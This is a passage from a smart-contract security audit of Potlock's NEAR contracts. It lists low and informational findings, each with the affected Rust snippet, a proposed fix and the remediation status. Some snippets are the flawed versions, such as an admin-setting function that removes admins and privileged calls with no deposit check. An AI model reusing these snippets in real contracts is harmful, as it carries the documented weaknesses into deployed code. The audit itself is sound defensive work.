If we aim to limit the number of unapproved applications, we should sort for unapproved ones. Conversely, if we need to limit the number of approved applications, the check should be integrated into**chef_set_application_status**.

REMEDIATION - FIXED

The Potlock team has fixed the issue by moving the check to chef_set_application_status in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-8 Deactivating Provider Does Not Remove It From Default Providers - Low

We've noticed that deactivating a provider doesn't remove it from the default provider list. There might be situations where the provider could be added to the default_provider list. In such cases, the admin must first call admin_deactivate_provider and then reset all default providers. The process would be more efficient if a check was included in the admin_deactivate_provider function to delete the provider from the default_provider set (if it exists).

sybil:admin_deactivate_provider:sybil/src/admin.rs

```
#[payable]
 pub fn admin_deactivate_provider(
    &mut self,
    provider_id: ProviderId,
 ) -> Provider {
    self.assert_owner_or_admin();
    // check that provider exists
    if let Some(versioned_provider) = self.providers_by_id.get(&provider_id)
    {
       // update provider
       let mut provider = Provider::from(versioned_provider);
       provider.is_active = false;
       self.providers_by_id.insert(
          &provider_id,
          &VersionedProvider::Current(provider.clone()),
       );
       provider
    } else {
       env::panic_str("Provider does not exist");
    }
 }
```

PROPOSED SOLUTION

Consider removing the deactivated provider from default_provider list (if present).

REMEDIATION - FIXED

The Potlock team has fixed the issue by removing the deactivated provider from default_provider list in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-9 Deactivated Provider Retains All Stamps - Low

We noticed that users retain their stamps even after the provider is deactivated. All user stamps should be removed once the provider is deactivated.

sybil:admin_deactivate_provider:sybil/src/admin.rs

```
#[payable]
 pub fn admin_deactivate_provider(
    &mut self,
    provider_id: ProviderId,
 ) -> Provider {
    self.assert_owner_or_admin();
    // check that provider exists
    if let Some(versioned_provider) = self.providers_by_id.get(&provider_id)
    {
       // update provider
       let mut provider = Provider::from(versioned_provider);
       provider.is_active = false;
       self.providers_by_id.insert(
          &provider_id,
          &VersionedProvider::Current(provider.clone()),
       );
       provider
    } else {
       env::panic_str("Provider does not exist");
    }
 }
```

PROPOSED SOLUTION

Consider removing all stamps from that provider.

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-10 Invalid Implementation Of New Admin Addition - Low

We've observed that the 'owner_set_admins' and 'owner_remove_admins' functions both remove admins. This is an incorrect implementation, as 'owner_set_admins' should be setting admins.

pot:owner_set_admins:pot/src/admin.rs

```
pub fn owner_set_admins(&mut self, account_ids: Vec<AccountId>) {
    self.assert_owner();
    for account_id in account_ids {
      self.admins.remove(&account_id); implementation
    }
}
```

PROPOSED SOLUTION

In owner_set_admins function 'remove' should be changed to the 'insert' method.

REMEDIATION - FIXED

The Potlock team has fixed the issue by changing 'remove' to 'insert' in this Pull Request:
https://github.com/PotLock/core/pull/33

GUV-11 Error-Prone Function Should Be Removed - Low

We believe that admin_dangerously_set_pot_config function should not exist due to potential misuse and a high risk of errors. The current implementation has separate functions to adjust the pot configuration, eliminating the need for bulk edits. A single error in constructing a transaction could have immediate repercussions on the system.

PROPOSED SOLUTION

Consider removing this function.

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-12 Missing Limits On View Functions - Low

We found that the view functions do not have any limitations. If the provider set becomes too large, it could result in an infinite loop situation, causing a panic in the transaction.

sybil:get_providers:sybil/src/providers.rs

```
pub fn get_providers(&self) -> Vec<ProviderExternal> {
    self.providers_by_id
        .iter()
        .map(|(provider_id, provider)| {
            ProviderExternal::from_provider_id(
                &provider_id.0,
                Provider::from(provider),
            )
        })
        .collect()
}
```

sybil:get_default_providers:sybil/src/providers.rs

```
pub fn get_default_providers(&self) -> Vec<ProviderExternal> {
    self.default_provider_ids
        .iter()
        .map(|provider_id| {
            ProviderExternal::from_provider_id(
                &provider_id.0,
                Provider::from(
                    self.providers_by_id.get(&provider_id).unwrap(),
                ),)}).collect()}
```

PROPOSED SOLUTION

Consider setting limits on the number of entries that can be fetched at once.

REMEDIATION - FIXED

The Potlock team has partially fixed the issue by adding limits to get_providers in this Pull Request:
https://github.com/PotLock/core/pull/32

GUV-13 Privileged Functions Are Not Protected By 2FA - Low

We noticed that none of the privileged functions are protected by two-factor authentication (2FA). In the NEAR scenario, 2FA prompts a user to sign a transaction if a deposit is attached to it. There are two types of access keys: Full and Function. Function access keys are primarily used by front-ends to perform actions on behalf of the user without constantly prompting them to sign a transaction. However, if the front-end is compromised, a malicious actor might exploit the function access key to attack the protocol. If the function access key is added to an admin or owner account, the malicious actor could potentially perform actions within the protocol on their behalf.

PROPOSED SOLUTION

Consider adding assert_one_yocto to all privileged functions. This prevents the use of function access keys to call those functions.

REMEDIATION - FIXED

The Potlock team has fixed the issue by adding asserting at least one yocto attached in all major privileged functions in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-14 Privileged Users Should Not Be Allowed To Have Other Roles - Low

We noted that privileged accounts like the owner, admin, and chef are currently permitted to register as a project in the registry contract, apply as a project in the pot contract, and register as a provider in the sybil contract. This allowance for privileged roles to perform these actions escalates the risk of malicious misuse.

PROPOSED SOLUTION

Consider restricting those functions to only regular users.

REMEDIATION - FIXED

The Potlock team has partially fixed the issue by restricting only application to the pot by chef/admin/owner in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-15 Redundant Functionality - Informaitonal

We found that the provider flagging feature is unnecessary, as it doesn't prevent the use of the provider. If a provider misbehaves, the admin can simply deactivate them. This function only takes up space, thereby increasing the size of the contract.

sybil:admin_flag_provider:sybil/src/admin.rs

```
#[payable]
    pub fn admin_flag_provider(&mut self, provider_id: ProviderId) -> Provider {
        self.assert_owner_or_admin();
        // check that provider exists
        if let Some(versioned_provider) = self.providers_by_id.get(&provider_id)
        {
            // update provider
            let mut provider = Provider::from(versioned_provider);
            provider.is_flagged = true;
            self.providers_by_id.insert(
                &provider_id,
                &VersionedProvider::Current(provider.clone()),
            );
            provider
        } else {env::panic_str("Provider does not exist");}}
```

PROPOSED SOLUTION

Consider removing this function

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-16 Size Of The Contract Can Be Decreased - Informational

We noticed that the crate type is set as both cdylib and rlib. However, since NEAR smart contracts are compiled to WASM, rlib is unnecessary. Eliminating rlib can significantly reduce the size of the generated WASM binary.

potlock:cargo.toml

```
[lib]
crate-type = ["cdylib", "rlib"]
```

PROPOSED SOLUTION

Consider removing rlib from Cargo.toml.

REMEDIATION - ACKNOWLEDGED

The Potlock team has fixed the issue by removing rlib from Cargo.toml in this Pull Request: **https://github.com/PotLock/core/pull/32**

GUV-17 Redundant State Statuses - Informational

We noted that, within the logic of the pot smart contract, only the application statuses 'Approved' and 'Pending' are utilized. Furthermore, only the 'Approved' status is used for the project.

PROPOSED SOLUTION

Consider removing redundant statuses

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-18 Usage of assert instead of require - Informational

We noted that the protocol often uses assert! instead of require!. Assert generates additional data such as the file and line number, which isn't necessary in a smart contract setting. This results in unnecessary bloat.

PROPOSED SOLUTION

Replace all assert! macros with require!.

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-19 Using suboptimal panic function - Informational

We've noted that the panic! macro is frequently used in many functions within the protocol. This macro generates additional debug information such as file and line number, which may not be necessary in a smart contract scenario

PROPOSED SOLUTION

Consider using env::panic_str. It does not produce additional info apart from passed error message

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.

GUV-20 Redundant state check in initializers - Informational

We noticed that many initializers in the protocol use redundant state checks - 'assert!(!env::state_exists(), "Already initialized");'.

PROPOSED SOLUTION

Consider removing the state check, as the #[init] macro already handles it.

REMEDIATION - ACKNOWLEDGED

The Potlock team has acknowledged the issue and might fix it in the upcoming release.